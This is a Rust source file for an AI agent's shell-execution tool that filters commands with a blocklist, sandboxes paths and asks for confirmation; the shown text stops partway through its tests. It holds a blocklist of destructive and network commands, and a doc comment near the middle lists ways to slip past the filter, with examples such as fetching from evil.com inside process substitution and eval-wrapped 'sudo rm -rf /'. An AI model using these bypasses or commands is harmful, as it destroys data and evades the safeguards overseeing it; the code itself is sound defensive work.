Skip to main content

zeph_tools/
shell.rs

1// SPDX-FileCopyrightText: 2026 Andrei G <bug-ops>
2// SPDX-License-Identifier: MIT OR Apache-2.0
3
4use std::path::PathBuf;
5use std::time::{Duration, Instant};
6
7use tokio::process::Command;
8use tokio_util::sync::CancellationToken;
9
10use schemars::JsonSchema;
11use serde::Deserialize;
12
13use crate::audit::{AuditEntry, AuditLogger, AuditResult};
14use crate::config::ShellConfig;
15use crate::executor::{
16    FilterStats, ToolCall, ToolError, ToolEvent, ToolEventTx, ToolExecutor, ToolOutput,
17};
18use crate::filter::{OutputFilterRegistry, sanitize_output};
19use crate::permissions::{PermissionAction, PermissionPolicy};
20
21const DEFAULT_BLOCKED: &[&str] = &[
22    "rm -rf /", "sudo", "mkfs", "dd if=", "curl", "wget", "nc ", "ncat", "netcat", "shutdown",
23    "reboot", "halt",
24];
25
26/// The default list of blocked command patterns used by [`ShellExecutor`].
27///
28/// Exposed so other executors (e.g. `AcpShellExecutor`) can reuse the same
29/// blocklist without duplicating it.
30pub const DEFAULT_BLOCKED_COMMANDS: &[&str] = DEFAULT_BLOCKED;
31
32/// Shell interpreters that may execute arbitrary code via `-c` or positional args.
33pub const SHELL_INTERPRETERS: &[&str] =
34    &["bash", "sh", "zsh", "fish", "dash", "ksh", "csh", "tcsh"];
35
36/// Subshell metacharacters that could embed a blocked command inside a benign wrapper.
37/// Commands containing these sequences are rejected outright because safe static
38/// analysis of nested shell evaluation is not feasible.
39const SUBSHELL_METACHARS: &[&str] = &["$(", "`"];
40
41/// Check if `command` matches any pattern in `blocklist`.
42///
43/// Returns the matched pattern string if the command is blocked, `None` otherwise.
44/// The check is case-insensitive and handles common shell escape sequences.
45///
46/// Commands containing subshell metacharacters (`$(` or `` ` ``) are always
47/// blocked because nested evaluation cannot be safely analysed statically.
48#[must_use]
49pub fn check_blocklist(command: &str, blocklist: &[String]) -> Option<String> {
50    let lower = command.to_lowercase();
51    // Reject commands that embed subshell constructs to prevent blocklist bypass.
52    for meta in SUBSHELL_METACHARS {
53        if lower.contains(meta) {
54            return Some((*meta).to_owned());
55        }
56    }
57    let cleaned = strip_shell_escapes(&lower);
58    let commands = tokenize_commands(&cleaned);
59    for blocked in blocklist {
60        for cmd_tokens in &commands {
61            if tokens_match_pattern(cmd_tokens, blocked) {
62                return Some(blocked.clone());
63            }
64        }
65    }
66    None
67}
68
69/// Build the effective command string for blocklist evaluation when the binary is a
70/// shell interpreter (bash, sh, zsh, etc.) and args contains a `-c` script.
71///
72/// Returns `None` if the args do not follow the `-c <script>` pattern.
73#[must_use]
74pub fn effective_shell_command<'a>(binary: &str, args: &'a [String]) -> Option<&'a str> {
75    let base = binary.rsplit('/').next().unwrap_or(binary);
76    if !SHELL_INTERPRETERS.contains(&base) {
77        return None;
78    }
79    // Find "-c" and return the next element as the script to check.
80    let pos = args.iter().position(|a| a == "-c")?;
81    args.get(pos + 1).map(String::as_str)
82}
83
84const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc ", "ncat", "netcat"];
85
86#[derive(Deserialize, JsonSchema)]
87pub(crate) struct BashParams {
88    /// The bash command to execute
89    command: String,
90}
91
92/// Bash block extraction and execution via `tokio::process::Command`.
93#[derive(Debug)]
94pub struct ShellExecutor {
95    timeout: Duration,
96    blocked_commands: Vec<String>,
97    allowed_paths: Vec<PathBuf>,
98    confirm_patterns: Vec<String>,
99    audit_logger: Option<AuditLogger>,
100    tool_event_tx: Option<ToolEventTx>,
101    permission_policy: Option<PermissionPolicy>,
102    output_filter_registry: Option<OutputFilterRegistry>,
103    cancel_token: Option<CancellationToken>,
104    skill_env: std::sync::RwLock<Option<std::collections::HashMap<String, String>>>,
105}
106
107impl ShellExecutor {
108    #[must_use]
109    pub fn new(config: &ShellConfig) -> Self {
110        let allowed: Vec<String> = config
111            .allowed_commands
112            .iter()
113            .map(|s| s.to_lowercase())
114            .collect();
115
116        let mut blocked: Vec<String> = DEFAULT_BLOCKED
117            .iter()
118            .filter(|s| !allowed.contains(&s.to_lowercase()))
119            .map(|s| (*s).to_owned())
120            .collect();
121        blocked.extend(config.blocked_commands.iter().map(|s| s.to_lowercase()));
122
123        if !config.allow_network {
124            for cmd in NETWORK_COMMANDS {
125                let lower = cmd.to_lowercase();
126                if !blocked.contains(&lower) {
127                    blocked.push(lower);
128                }
129            }
130        }
131
132        blocked.sort();
133        blocked.dedup();
134
135        let allowed_paths = if config.allowed_paths.is_empty() {
136            vec![std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))]
137        } else {
138            config.allowed_paths.iter().map(PathBuf::from).collect()
139        };
140
141        Self {
142            timeout: Duration::from_secs(config.timeout),
143            blocked_commands: blocked,
144            allowed_paths,
145            confirm_patterns: config.confirm_patterns.clone(),
146            audit_logger: None,
147            tool_event_tx: None,
148            permission_policy: None,
149            output_filter_registry: None,
150            cancel_token: None,
151            skill_env: std::sync::RwLock::new(None),
152        }
153    }
154
155    /// Set environment variables to inject when executing the active skill's bash blocks.
156    pub fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
157        match self.skill_env.write() {
158            Ok(mut guard) => *guard = env,
159            Err(e) => tracing::error!("skill_env RwLock poisoned: {e}"),
160        }
161    }
162
163    #[must_use]
164    pub fn with_audit(mut self, logger: AuditLogger) -> Self {
165        self.audit_logger = Some(logger);
166        self
167    }
168
169    #[must_use]
170    pub fn with_tool_event_tx(mut self, tx: ToolEventTx) -> Self {
171        self.tool_event_tx = Some(tx);
172        self
173    }
174
175    #[must_use]
176    pub fn with_permissions(mut self, policy: PermissionPolicy) -> Self {
177        self.permission_policy = Some(policy);
178        self
179    }
180
181    #[must_use]
182    pub fn with_cancel_token(mut self, token: CancellationToken) -> Self {
183        self.cancel_token = Some(token);
184        self
185    }
186
187    #[must_use]
188    pub fn with_output_filters(mut self, registry: OutputFilterRegistry) -> Self {
189        self.output_filter_registry = Some(registry);
190        self
191    }
192
193    /// Execute a bash block bypassing the confirmation check (called after user confirms).
194    ///
195    /// # Errors
196    ///
197    /// Returns `ToolError` on blocked commands, sandbox violations, or execution failures.
198    pub async fn execute_confirmed(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
199        self.execute_inner(response, true).await
200    }
201
202    #[allow(clippy::too_many_lines)]
203    async fn execute_inner(
204        &self,
205        response: &str,
206        skip_confirm: bool,
207    ) -> Result<Option<ToolOutput>, ToolError> {
208        let blocks = extract_bash_blocks(response);
209        if blocks.is_empty() {
210            return Ok(None);
211        }
212
213        let mut outputs = Vec::with_capacity(blocks.len());
214        let mut cumulative_filter_stats: Option<FilterStats> = None;
215        #[allow(clippy::cast_possible_truncation)]
216        let blocks_executed = blocks.len() as u32;
217
218        for block in &blocks {
219            if let Some(ref policy) = self.permission_policy {
220                match policy.check("bash", block) {
221                    PermissionAction::Deny => {
222                        self.log_audit(
223                            block,
224                            AuditResult::Blocked {
225                                reason: "denied by permission policy".to_owned(),
226                            },
227                            0,
228                        )
229                        .await;
230                        return Err(ToolError::Blocked {
231                            command: (*block).to_owned(),
232                        });
233                    }
234                    PermissionAction::Ask if !skip_confirm => {
235                        return Err(ToolError::ConfirmationRequired {
236                            command: (*block).to_owned(),
237                        });
238                    }
239                    _ => {}
240                }
241            } else {
242                if let Some(blocked) = self.find_blocked_command(block) {
243                    self.log_audit(
244                        block,
245                        AuditResult::Blocked {
246                            reason: format!("blocked command: {blocked}"),
247                        },
248                        0,
249                    )
250                    .await;
251                    return Err(ToolError::Blocked {
252                        command: blocked.to_owned(),
253                    });
254                }
255
256                if !skip_confirm && let Some(pattern) = self.find_confirm_command(block) {
257                    return Err(ToolError::ConfirmationRequired {
258                        command: pattern.to_owned(),
259                    });
260                }
261            }
262
263            self.validate_sandbox(block)?;
264
265            if let Some(ref tx) = self.tool_event_tx {
266                let _ = tx.send(ToolEvent::Started {
267                    tool_name: "bash".to_owned(),
268                    command: (*block).to_owned(),
269                });
270            }
271
272            let start = Instant::now();
273            let skill_env_snapshot: Option<std::collections::HashMap<String, String>> =
274                self.skill_env.read().ok().and_then(|g| g.clone());
275            let (out, exit_code) = execute_bash(
276                block,
277                self.timeout,
278                self.tool_event_tx.as_ref(),
279                self.cancel_token.as_ref(),
280                skill_env_snapshot.as_ref(),
281            )
282            .await;
283            if exit_code == 130
284                && self
285                    .cancel_token
286                    .as_ref()
287                    .is_some_and(CancellationToken::is_cancelled)
288            {
289                return Err(ToolError::Cancelled);
290            }
291            #[allow(clippy::cast_possible_truncation)]
292            let duration_ms = start.elapsed().as_millis() as u64;
293
294            let result = if out.contains("[error]") {
295                AuditResult::Error {
296                    message: out.clone(),
297                }
298            } else if out.contains("timed out") {
299                AuditResult::Timeout
300            } else {
301                AuditResult::Success
302            };
303            self.log_audit(block, result, duration_ms).await;
304
305            let sanitized = sanitize_output(&out);
306            let mut per_block_stats: Option<FilterStats> = None;
307            let filtered = if let Some(ref registry) = self.output_filter_registry {
308                match registry.apply(block, &sanitized, exit_code) {
309                    Some(fr) => {
310                        tracing::debug!(
311                            command = block,
312                            raw = fr.raw_chars,
313                            filtered = fr.filtered_chars,
314                            savings_pct = fr.savings_pct(),
315                            "output filter applied"
316                        );
317                        let block_fs = FilterStats {
318                            raw_chars: fr.raw_chars,
319                            filtered_chars: fr.filtered_chars,
320                            raw_lines: fr.raw_lines,
321                            filtered_lines: fr.filtered_lines,
322                            confidence: Some(fr.confidence),
323                            command: Some((*block).to_owned()),
324                            kept_lines: fr.kept_lines.clone(),
325                        };
326                        let stats =
327                            cumulative_filter_stats.get_or_insert_with(FilterStats::default);
328                        stats.raw_chars += fr.raw_chars;
329                        stats.filtered_chars += fr.filtered_chars;
330                        stats.raw_lines += fr.raw_lines;
331                        stats.filtered_lines += fr.filtered_lines;
332                        stats.confidence = Some(match (stats.confidence, fr.confidence) {
333                            (Some(prev), cur) => crate::filter::worse_confidence(prev, cur),
334                            (None, cur) => cur,
335                        });
336                        if stats.command.is_none() {
337                            stats.command = Some((*block).to_owned());
338                        }
339                        if stats.kept_lines.is_empty() && !fr.kept_lines.is_empty() {
340                            stats.kept_lines.clone_from(&fr.kept_lines);
341                        }
342                        per_block_stats = Some(block_fs);
343                        fr.output
344                    }
345                    None => sanitized,
346                }
347            } else {
348                sanitized
349            };
350
351            if let Some(ref tx) = self.tool_event_tx {
352                let _ = tx.send(ToolEvent::Completed {
353                    tool_name: "bash".to_owned(),
354                    command: (*block).to_owned(),
355                    output: out.clone(),
356                    success: !out.contains("[error]"),
357                    filter_stats: per_block_stats,
358                    diff: None,
359                });
360            }
361            outputs.push(format!("$ {block}\n{filtered}"));
362        }
363
364        Ok(Some(ToolOutput {
365            tool_name: "bash".to_owned(),
366            summary: outputs.join("\n\n"),
367            blocks_executed,
368            filter_stats: cumulative_filter_stats,
369            diff: None,
370            streamed: self.tool_event_tx.is_some(),
371            terminal_id: None,
372            locations: None,
373            raw_response: None,
374        }))
375    }
376
377    fn validate_sandbox(&self, code: &str) -> Result<(), ToolError> {
378        let cwd = std::env::current_dir().unwrap_or_default();
379
380        for token in extract_paths(code) {
381            if has_traversal(&token) {
382                return Err(ToolError::SandboxViolation { path: token });
383            }
384
385            let path = if token.starts_with('/') {
386                PathBuf::from(&token)
387            } else {
388                cwd.join(&token)
389            };
390            let canonical = path
391                .canonicalize()
392                .or_else(|_| std::path::absolute(&path))
393                .unwrap_or(path);
394            if !self
395                .allowed_paths
396                .iter()
397                .any(|allowed| canonical.starts_with(allowed))
398            {
399                return Err(ToolError::SandboxViolation {
400                    path: canonical.display().to_string(),
401                });
402            }
403        }
404        Ok(())
405    }
406
407    /// Scan `code` for commands that match the configured blocklist.
408    ///
409    /// The function normalizes input via [`strip_shell_escapes`] (decoding `$'\xNN'`,
410    /// `$'\NNN'`, backslash escapes, and quote-splitting) and then splits on shell
411    /// metacharacters (`||`, `&&`, `;`, `|`, `\n`) via [`tokenize_commands`].  Each
412    /// resulting token sequence is tested against every entry in `blocked_commands`
413    /// through [`tokens_match_pattern`], which handles transparent prefixes (`env`,
414    /// `command`, `exec`, etc.), absolute paths, and dot-suffixed variants.
415    ///
416    /// # Known limitations
417    ///
418    /// The following constructs are **not** detected by this function:
419    ///
420    /// - **Process substitution** `<(...)` / `>(...)`: bash executes the inner command
421    ///   before passing the file descriptor to the outer command; `tokenize_commands`
422    ///   never parses inside parentheses, so the inner command is invisible.
423    ///   Example: `cat <(curl http://evil.com)` — `curl` runs undetected.
424    ///
425    /// - **Here-strings** `<<<` with a shell interpreter: the outer command is the
426    ///   shell (`bash`, `sh`), which is not blocked by default; the payload string is
427    ///   opaque to this filter.
428    ///   Example: `bash <<< 'sudo rm -rf /'` — inner payload is not parsed.
429    ///
430    /// - **`eval` and `bash -c` / `sh -c`**: the string argument is not parsed; any
431    ///   blocked command embedded as a string argument passes through undetected.
432    ///   Example: `eval 'sudo rm -rf /'`.
433    ///
434    /// - **Variable expansion**: `strip_shell_escapes` does not resolve variable
435    ///   references, so `cmd=sudo; $cmd rm` bypasses the blocklist.
436    ///
437    /// `$(...)` and backtick substitution are **not** covered here either, but the
438    /// default `confirm_patterns` in [`ShellConfig`] include `"$("` and `` "`" ``,
439    /// as well as `"<("`, `">("`, `"<<<"`, and `"eval "`, so those constructs trigger
440    /// a confirmation request via [`find_confirm_command`] before execution.
441    ///
442    /// For high-security deployments, complement this filter with OS-level sandboxing
443    /// (Linux namespaces, seccomp, or similar) to enforce hard execution boundaries.
444    fn find_blocked_command(&self, code: &str) -> Option<&str> {
445        let cleaned = strip_shell_escapes(&code.to_lowercase());
446        let commands = tokenize_commands(&cleaned);
447        for blocked in &self.blocked_commands {
448            for cmd_tokens in &commands {
449                if tokens_match_pattern(cmd_tokens, blocked) {
450                    return Some(blocked.as_str());
451                }
452            }
453        }
454        None
455    }
456
457    fn find_confirm_command(&self, code: &str) -> Option<&str> {
458        let normalized = code.to_lowercase();
459        for pattern in &self.confirm_patterns {
460            if normalized.contains(pattern.as_str()) {
461                return Some(pattern.as_str());
462            }
463        }
464        None
465    }
466
467    async fn log_audit(&self, command: &str, result: AuditResult, duration_ms: u64) {
468        if let Some(ref logger) = self.audit_logger {
469            let entry = AuditEntry {
470                timestamp: chrono_now(),
471                tool: "shell".into(),
472                command: command.into(),
473                result,
474                duration_ms,
475            };
476            logger.log(&entry).await;
477        }
478    }
479}
480
481impl ToolExecutor for ShellExecutor {
482    async fn execute(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
483        self.execute_inner(response, false).await
484    }
485
486    fn tool_definitions(&self) -> Vec<crate::registry::ToolDef> {
487        use crate::registry::{InvocationHint, ToolDef};
488        vec![ToolDef {
489            id: "bash".into(),
490            description: "Execute a shell command".into(),
491            schema: schemars::schema_for!(BashParams),
492            invocation: InvocationHint::FencedBlock("bash"),
493        }]
494    }
495
496    async fn execute_tool_call(&self, call: &ToolCall) -> Result<Option<ToolOutput>, ToolError> {
497        if call.tool_id != "bash" {
498            return Ok(None);
499        }
500        let params: BashParams = crate::executor::deserialize_params(&call.params)?;
501        if params.command.is_empty() {
502            return Ok(None);
503        }
504        let command = &params.command;
505        // Wrap as a fenced block so execute_inner can extract and run it
506        let synthetic = format!("```bash\n{command}\n```");
507        self.execute_inner(&synthetic, false).await
508    }
509
510    fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
511        ShellExecutor::set_skill_env(self, env);
512    }
513}
514
515/// Strip shell escape sequences that could bypass command detection.
516/// Handles: backslash insertion (`su\do` -> `sudo`), `$'\xNN'` hex and `$'\NNN'` octal
517/// escapes, adjacent quoted segments (`"su""do"` -> `sudo`), backslash-newline continuations.
518pub(crate) fn strip_shell_escapes(input: &str) -> String {
519    let mut out = String::with_capacity(input.len());
520    let bytes = input.as_bytes();
521    let mut i = 0;
522    while i < bytes.len() {
523        // $'...' ANSI-C quoting: decode \xNN hex and \NNN octal escapes
524        if i + 1 < bytes.len() && bytes[i] == b'$' && bytes[i + 1] == b'\'' {
525            let mut j = i + 2; // points after $'
526            let mut decoded = String::new();
527            let mut valid = false;
528            while j < bytes.len() && bytes[j] != b'\'' {
529                if bytes[j] == b'\\' && j + 1 < bytes.len() {
530                    let next = bytes[j + 1];
531                    if next == b'x' && j + 3 < bytes.len() {
532                        // \xNN hex escape
533                        let hi = (bytes[j + 2] as char).to_digit(16);
534                        let lo = (bytes[j + 3] as char).to_digit(16);
535                        if let (Some(h), Some(l)) = (hi, lo) {
536                            #[allow(clippy::cast_possible_truncation)]
537                            let byte = ((h << 4) | l) as u8;
538                            decoded.push(byte as char);
539                            j += 4;
540                            valid = true;
541                            continue;
542                        }
543                    } else if next.is_ascii_digit() {
544                        // \NNN octal escape (up to 3 digits)
545                        let mut val = u32::from(next - b'0');
546                        let mut len = 2; // consumed \N so far
547                        if j + 2 < bytes.len() && bytes[j + 2].is_ascii_digit() {
548                            val = val * 8 + u32::from(bytes[j + 2] - b'0');
549                            len = 3;
550                            if j + 3 < bytes.len() && bytes[j + 3].is_ascii_digit() {
551                                val = val * 8 + u32::from(bytes[j + 3] - b'0');
552                                len = 4;
553                            }
554                        }
555                        #[allow(clippy::cast_possible_truncation)]
556                        decoded.push((val & 0xFF) as u8 as char);
557                        j += len;
558                        valid = true;
559                        continue;
560                    }
561                    // other \X escape: emit X literally
562                    decoded.push(next as char);
563                    j += 2;
564                } else {
565                    decoded.push(bytes[j] as char);
566                    j += 1;
567                }
568            }
569            if j < bytes.len() && bytes[j] == b'\'' && valid {
570                out.push_str(&decoded);
571                i = j + 1;
572                continue;
573            }
574            // not a decodable $'...' sequence — fall through to handle as regular chars
575        }
576        // backslash-newline continuation: remove both
577        if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] == b'\n' {
578            i += 2;
579            continue;
580        }
581        // intra-word backslash: skip the backslash, keep next char (e.g. su\do -> sudo)
582        if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] != b'\n' {
583            i += 1;
584            out.push(bytes[i] as char);
585            i += 1;
586            continue;
587        }
588        // quoted segment stripping: collapse adjacent quoted segments
589        if bytes[i] == b'"' || bytes[i] == b'\'' {
590            let quote = bytes[i];
591            i += 1;
592            while i < bytes.len() && bytes[i] != quote {
593                out.push(bytes[i] as char);
594                i += 1;
595            }
596            if i < bytes.len() {
597                i += 1; // skip closing quote
598            }
599            continue;
600        }
601        out.push(bytes[i] as char);
602        i += 1;
603    }
604    out
605}
606
607/// Split normalized shell code into sub-commands on `|`, `||`, `&&`, `;`, `\n`.
608/// Returns list of sub-commands, each as `Vec<String>` of tokens.
609pub(crate) fn tokenize_commands(normalized: &str) -> Vec<Vec<String>> {
610    // Replace two-char operators with a single separator, then split on single-char separators
611    let replaced = normalized.replace("||", "\n").replace("&&", "\n");
612    replaced
613        .split([';', '|', '\n'])
614        .map(|seg| {
615            seg.split_whitespace()
616                .map(str::to_owned)
617                .collect::<Vec<String>>()
618        })
619        .filter(|tokens| !tokens.is_empty())
620        .collect()
621}
622
623/// Transparent prefix commands that invoke the next argument as a command.
624/// Skipped when determining the "real" command name being invoked.
625const TRANSPARENT_PREFIXES: &[&str] = &["env", "command", "exec", "nice", "nohup", "time", "xargs"];
626
627/// Return the basename of a token (last path component after '/').
628fn cmd_basename(tok: &str) -> &str {
629    tok.rsplit('/').next().unwrap_or(tok)
630}
631
632/// Check if the first tokens of a sub-command match a blocked pattern.
633/// Handles:
634/// - Transparent prefix commands (`env sudo rm` -> checks `sudo`)
635/// - Absolute paths (`/usr/bin/sudo rm` -> basename `sudo` is checked)
636/// - Dot-suffixed variants (`mkfs` matches `mkfs.ext4`)
637/// - Multi-word patterns (`rm -rf /` joined prefix check)
638pub(crate) fn tokens_match_pattern(tokens: &[String], pattern: &str) -> bool {
639    if tokens.is_empty() || pattern.is_empty() {
640        return false;
641    }
642    let pattern = pattern.trim();
643    let pattern_tokens: Vec<&str> = pattern.split_whitespace().collect();
644    if pattern_tokens.is_empty() {
645        return false;
646    }
647
648    // Skip transparent prefix tokens to reach the real command
649    let start = tokens
650        .iter()
651        .position(|t| !TRANSPARENT_PREFIXES.contains(&cmd_basename(t)))
652        .unwrap_or(0);
653    let effective = &tokens[start..];
654    if effective.is_empty() {
655        return false;
656    }
657
658    if pattern_tokens.len() == 1 {
659        let pat = pattern_tokens[0];
660        let base = cmd_basename(&effective[0]);
661        // Exact match OR dot-suffixed variant (e.g. "mkfs" matches "mkfs.ext4")
662        base == pat || base.starts_with(&format!("{pat}."))
663    } else {
664        // Multi-word: join first N tokens (using basename for first) and check prefix
665        let n = pattern_tokens.len().min(effective.len());
666        let mut parts: Vec<&str> = vec![cmd_basename(&effective[0])];
667        parts.extend(effective[1..n].iter().map(String::as_str));
668        let joined = parts.join(" ");
669        if joined.starts_with(pattern) {
670            return true;
671        }
672        if effective.len() > n {
673            let mut parts2: Vec<&str> = vec![cmd_basename(&effective[0])];
674            parts2.extend(effective[1..=n].iter().map(String::as_str));
675            parts2.join(" ").starts_with(pattern)
676        } else {
677            false
678        }
679    }
680}
681
682fn extract_paths(code: &str) -> Vec<String> {
683    let mut result = Vec::new();
684
685    // Tokenize respecting single/double quotes
686    let mut tokens: Vec<String> = Vec::new();
687    let mut current = String::new();
688    let mut chars = code.chars().peekable();
689    while let Some(c) = chars.next() {
690        match c {
691            '"' | '\'' => {
692                let quote = c;
693                while let Some(&nc) = chars.peek() {
694                    if nc == quote {
695                        chars.next();
696                        break;
697                    }
698                    current.push(chars.next().unwrap());
699                }
700            }
701            c if c.is_whitespace() || matches!(c, ';' | '|' | '&') => {
702                if !current.is_empty() {
703                    tokens.push(std::mem::take(&mut current));
704                }
705            }
706            _ => current.push(c),
707        }
708    }
709    if !current.is_empty() {
710        tokens.push(current);
711    }
712
713    for token in tokens {
714        let trimmed = token.trim_end_matches([';', '&', '|']).to_owned();
715        if trimmed.is_empty() {
716            continue;
717        }
718        if trimmed.starts_with('/')
719            || trimmed.starts_with("./")
720            || trimmed.starts_with("../")
721            || trimmed == ".."
722        {
723            result.push(trimmed);
724        }
725    }
726    result
727}
728
729fn has_traversal(path: &str) -> bool {
730    path.split('/').any(|seg| seg == "..")
731}
732
733fn extract_bash_blocks(text: &str) -> Vec<&str> {
734    crate::executor::extract_fenced_blocks(text, "bash")
735}
736
737fn chrono_now() -> String {
738    use std::time::{SystemTime, UNIX_EPOCH};
739    let secs = SystemTime::now()
740        .duration_since(UNIX_EPOCH)
741        .unwrap_or_default()
742        .as_secs();
743    format!("{secs}")
744}
745
746/// Kill a child process and its descendants.
747/// On unix, sends SIGKILL to child processes via `pkill -KILL -P <pid>` before
748/// killing the parent, preventing zombie subprocesses.
749async fn kill_process_tree(child: &mut tokio::process::Child) {
750    #[cfg(unix)]
751    if let Some(pid) = child.id() {
752        let _ = Command::new("pkill")
753            .args(["-KILL", "-P", &pid.to_string()])
754            .status()
755            .await;
756    }
757    let _ = child.kill().await;
758}
759
760async fn execute_bash(
761    code: &str,
762    timeout: Duration,
763    event_tx: Option<&ToolEventTx>,
764    cancel_token: Option<&CancellationToken>,
765    extra_env: Option<&std::collections::HashMap<String, String>>,
766) -> (String, i32) {
767    use std::process::Stdio;
768    use tokio::io::{AsyncBufReadExt, BufReader};
769
770    let timeout_secs = timeout.as_secs();
771
772    let mut cmd = Command::new("bash");
773    cmd.arg("-c")
774        .arg(code)
775        .stdout(Stdio::piped())
776        .stderr(Stdio::piped());
777    if let Some(env) = extra_env {
778        cmd.envs(env);
779    }
780    let child_result = cmd.spawn();
781
782    let mut child = match child_result {
783        Ok(c) => c,
784        Err(e) => return (format!("[error] {e}"), 1),
785    };
786
787    let stdout = child.stdout.take().expect("stdout piped");
788    let stderr = child.stderr.take().expect("stderr piped");
789
790    let (line_tx, mut line_rx) = tokio::sync::mpsc::channel::<String>(64);
791
792    let stdout_tx = line_tx.clone();
793    tokio::spawn(async move {
794        let mut reader = BufReader::new(stdout);
795        let mut buf = String::new();
796        while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
797            let _ = stdout_tx.send(buf.clone()).await;
798            buf.clear();
799        }
800    });
801
802    tokio::spawn(async move {
803        let mut reader = BufReader::new(stderr);
804        let mut buf = String::new();
805        while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
806            let _ = line_tx.send(format!("[stderr] {buf}")).await;
807            buf.clear();
808        }
809    });
810
811    let mut combined = String::new();
812    let deadline = tokio::time::Instant::now() + timeout;
813
814    loop {
815        tokio::select! {
816            line = line_rx.recv() => {
817                match line {
818                    Some(chunk) => {
819                        if let Some(tx) = event_tx {
820                            let _ = tx.send(ToolEvent::OutputChunk {
821                                tool_name: "bash".to_owned(),
822                                command: code.to_owned(),
823                                chunk: chunk.clone(),
824                            });
825                        }
826                        combined.push_str(&chunk);
827                    }
828                    None => break,
829                }
830            }
831            () = tokio::time::sleep_until(deadline) => {
832                kill_process_tree(&mut child).await;
833                return (format!("[error] command timed out after {timeout_secs}s"), 1);
834            }
835            () = async {
836                match cancel_token {
837                    Some(t) => t.cancelled().await,
838                    None => std::future::pending().await,
839                }
840            } => {
841                kill_process_tree(&mut child).await;
842                return ("[cancelled] operation aborted".to_string(), 130);
843            }
844        }
845    }
846
847    let status = child.wait().await;
848    let exit_code = status.ok().and_then(|s| s.code()).unwrap_or(1);
849
850    if combined.is_empty() {
851        ("(no output)".to_string(), exit_code)
852    } else {
853        (combined, exit_code)
854    }
855}
856
857#[cfg(test)]
858mod tests {
859    use super::*;
860
861    fn default_config() -> ShellConfig {
862        ShellConfig {
863            timeout: 30,
864            blocked_commands: Vec::new(),
865            allowed_commands: Vec::new(),
866            allowed_paths: Vec::new(),
867            allow_network: true,
868            confirm_patterns: Vec::new(),
869        }
870    }
871
872    fn sandbox_config(allowed_paths: Vec<String>) -> ShellConfig {
873        ShellConfig {
874            allowed_paths,
875            ..default_config()
876        }
877    }
878
879    #[test]
880    fn extract_single_bash_block() {
881        let text = "Here is code:\n```bash\necho hello\n```\nDone.";
882        let blocks = extract_bash_blocks(text);
883        assert_eq!(blocks, vec!["echo hello"]);
884    }
885
886    #[test]
887    fn extract_multiple_bash_blocks() {
888        let text = "```bash\nls\n```\ntext\n```bash\npwd\n```";
889        let blocks = extract_bash_blocks(text);
890        assert_eq!(blocks, vec!["ls", "pwd"]);
891    }
892
893    #[test]
894    fn ignore_non_bash_blocks() {
895        let text = "```python\nprint('hi')\n```\n```bash\necho hi\n```";
896        let blocks = extract_bash_blocks(text);
897        assert_eq!(blocks, vec!["echo hi"]);
898    }
899
900    #[test]
901    fn no_blocks_returns_none() {
902        let text = "Just plain text, no code blocks.";
903        let blocks = extract_bash_blocks(text);
904        assert!(blocks.is_empty());
905    }
906
907    #[test]
908    fn unclosed_block_ignored() {
909        let text = "```bash\necho hello";
910        let blocks = extract_bash_blocks(text);
911        assert!(blocks.is_empty());
912    }
913
914    #[tokio::test]
915    #[cfg(not(target_os = "windows"))]
916    async fn execute_simple_command() {
917        let (result, code) =
918            execute_bash("echo hello", Duration::from_secs(30), None, None, None).await;
919        assert!(result.contains("hello"));
920        assert_eq!(code, 0);
921    }
922
923    #[tokio::test]
924    #[cfg(not(target_os = "windows"))]
925    async fn execute_stderr_output() {
926        let (result, _) =
927            execute_bash("echo err >&2", Duration::from_secs(30), None, None, None).await;
928        assert!(result.contains("[stderr]"));
929        assert!(result.contains("err"));
930    }
931
932    #[tokio::test]
933    #[cfg(not(target_os = "windows"))]
934    async fn execute_stdout_and_stderr_combined() {
935        let (result, _) = execute_bash(
936            "echo out && echo err >&2",
937            Duration::from_secs(30),
938            None,
939            None,
940            None,
941        )
942        .await;
943        assert!(result.contains("out"));
944        assert!(result.contains("[stderr]"));
945        assert!(result.contains("err"));
946        assert!(result.contains('\n'));
947    }
948
949    #[tokio::test]
950    #[cfg(not(target_os = "windows"))]
951    async fn execute_empty_output() {
952        let (result, code) = execute_bash("true", Duration::from_secs(30), None, None, None).await;
953        assert_eq!(result, "(no output)");
954        assert_eq!(code, 0);
955    }
956
957    #[tokio::test]
958    async fn blocked_command_rejected() {
959        let config = ShellConfig {
960            blocked_commands: vec!["rm -rf /".to_owned()],
961            ..default_config()
962        };
963        let executor = ShellExecutor::new(&config);
964        let response = "Run:\n```bash\nrm -rf /\n```";
965        let result = executor.execute(response).await;
966        assert!(matches!(result, Err(ToolError::Blocked { .. })));
967    }
968
969    #[tokio::test]
970    #[cfg(not(target_os = "windows"))]
971    async fn timeout_enforced() {
972        let config = ShellConfig {
973            timeout: 1,
974            ..default_config()
975        };
976        let executor = ShellExecutor::new(&config);
977        let response = "Run:\n```bash\nsleep 60\n```";
978        let result = executor.execute(response).await;
979        assert!(result.is_ok());
980        let output = result.unwrap().unwrap();
981        assert!(output.summary.contains("timed out"));
982    }
983
984    #[tokio::test]
985    async fn execute_no_blocks_returns_none() {
986        let executor = ShellExecutor::new(&default_config());
987        let result = executor.execute("plain text, no blocks").await;
988        assert!(result.is_ok());
989        assert!(result.unwrap().is_none());
990    }
991
992    #[tokio::test]
993    async fn execute_multiple_blocks_counted() {
994        let executor = ShellExecutor::new(&default_config());
995        let response = "```bash\necho one\n```\n```bash\necho two\n```";
996        let result = executor.execute(response).await;
997        let output = result.unwrap().unwrap();
998        assert_eq!(output.blocks_executed, 2);
999        assert!(output.summary.contains("one"));
1000        assert!(output.summary.contains("two"));
1001    }
1002
1003    // --- command filtering tests ---
1004
1005    #[test]
1006    fn default_blocked_always_active() {
1007        let executor = ShellExecutor::new(&default_config());
1008        assert!(executor.find_blocked_command("rm -rf /").is_some());
1009        assert!(executor.find_blocked_command("sudo apt install").is_some());
1010        assert!(
1011            executor
1012                .find_blocked_command("mkfs.ext4 /dev/sda")
1013                .is_some()
1014        );
1015        assert!(
1016            executor
